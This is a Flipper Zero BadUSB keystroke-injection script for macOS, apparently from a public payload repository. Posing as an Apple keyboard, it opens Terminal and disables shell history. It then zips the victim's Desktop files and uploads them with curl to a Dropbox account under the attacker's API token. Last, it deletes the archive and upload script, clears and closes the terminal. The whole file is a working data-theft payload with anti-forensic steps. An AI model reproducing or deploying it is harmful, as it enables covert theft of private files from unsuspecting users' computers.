Flipper/BadUSB/MacOS-narstybits/RECON/Desktop Data to Dropbox.txt
2023-08-08 21:59:16 -07:00

67 lines
1.6 KiB
Plaintext

REM This script copies the contents of the Desktop and uploads it to a specific dropbox API
REM Just replace "<API access token here>" with your actual API access token. line 26
REM Once the desktop contents .zip is uploaded to your dropbox
REM The Backup folder containing the .zip will be deleted and the terminal will be cleared and closed.
REM Author: Narsty
REM Title: Desktop Data to Dropbox
REM Version 2.0 MacOs
REM Category: Recon
ID 05ac:021e Apple:Keyboard
DELAY 500
GUI SPACE
DELAY 500
STRING Terminal
DELAY 1000
ENTER
DELAY 500
STRING echo -e "export HISTCONTROL=ignorespace\nunset HISTFILE" >> ~/.bashrc && source ~/.bashrc && exec bash
DELAY 500
ENTER
DELAY 500
STRING history -d $(history | tail -n 2 | head -n 1 | awk '{ print $1 }')
DELAY 500
ENTER
DELAY 500
ENTER
DELAY 500
STRING mkdir -p ~/Desktop/Backup
ENTER
DELAY 500
STRING cp -R ~/Desktop/* ~/Desktop/Backup/
ENTER
DELAY 500
STRING echo 'cd ~/Desktop/Backup && zip -r backup.zip . && curl -X POST https://content.dropboxapi.com/2/files/upload -H "Authorization: Bearer <API access token here>" -H "Dropbox-API-Arg: {\"path\": \"/Backup/backup.zip\",\"mode\": \"add\",\"autorename\": true,\"mute\": false}" -H "Content-Type: application/octet-stream" --data-binary @backup.zip' > upload.sh
ENTER
DELAY 2500
ENTER
STRING chmod +x upload.sh
ENTER
DELAY 500
STRING nohup ./upload.sh >/dev/null 2>&1 &
ENTER
DELAY 2000
CTRL C
DELAY 500
STRING rm ~/Desktop/Backup
DELAY 2000
STRING rm upload.sh
DELAY 500
ENTER
DELAY 5000
STRING rm backup.zip
DELAY 2000
ENTER
DELAY 500
STRING CLEAR
DELAY 500
ENTER
DELAY 500
GUI w
DELAY 1000
ENTER
DELAY 500
ENTER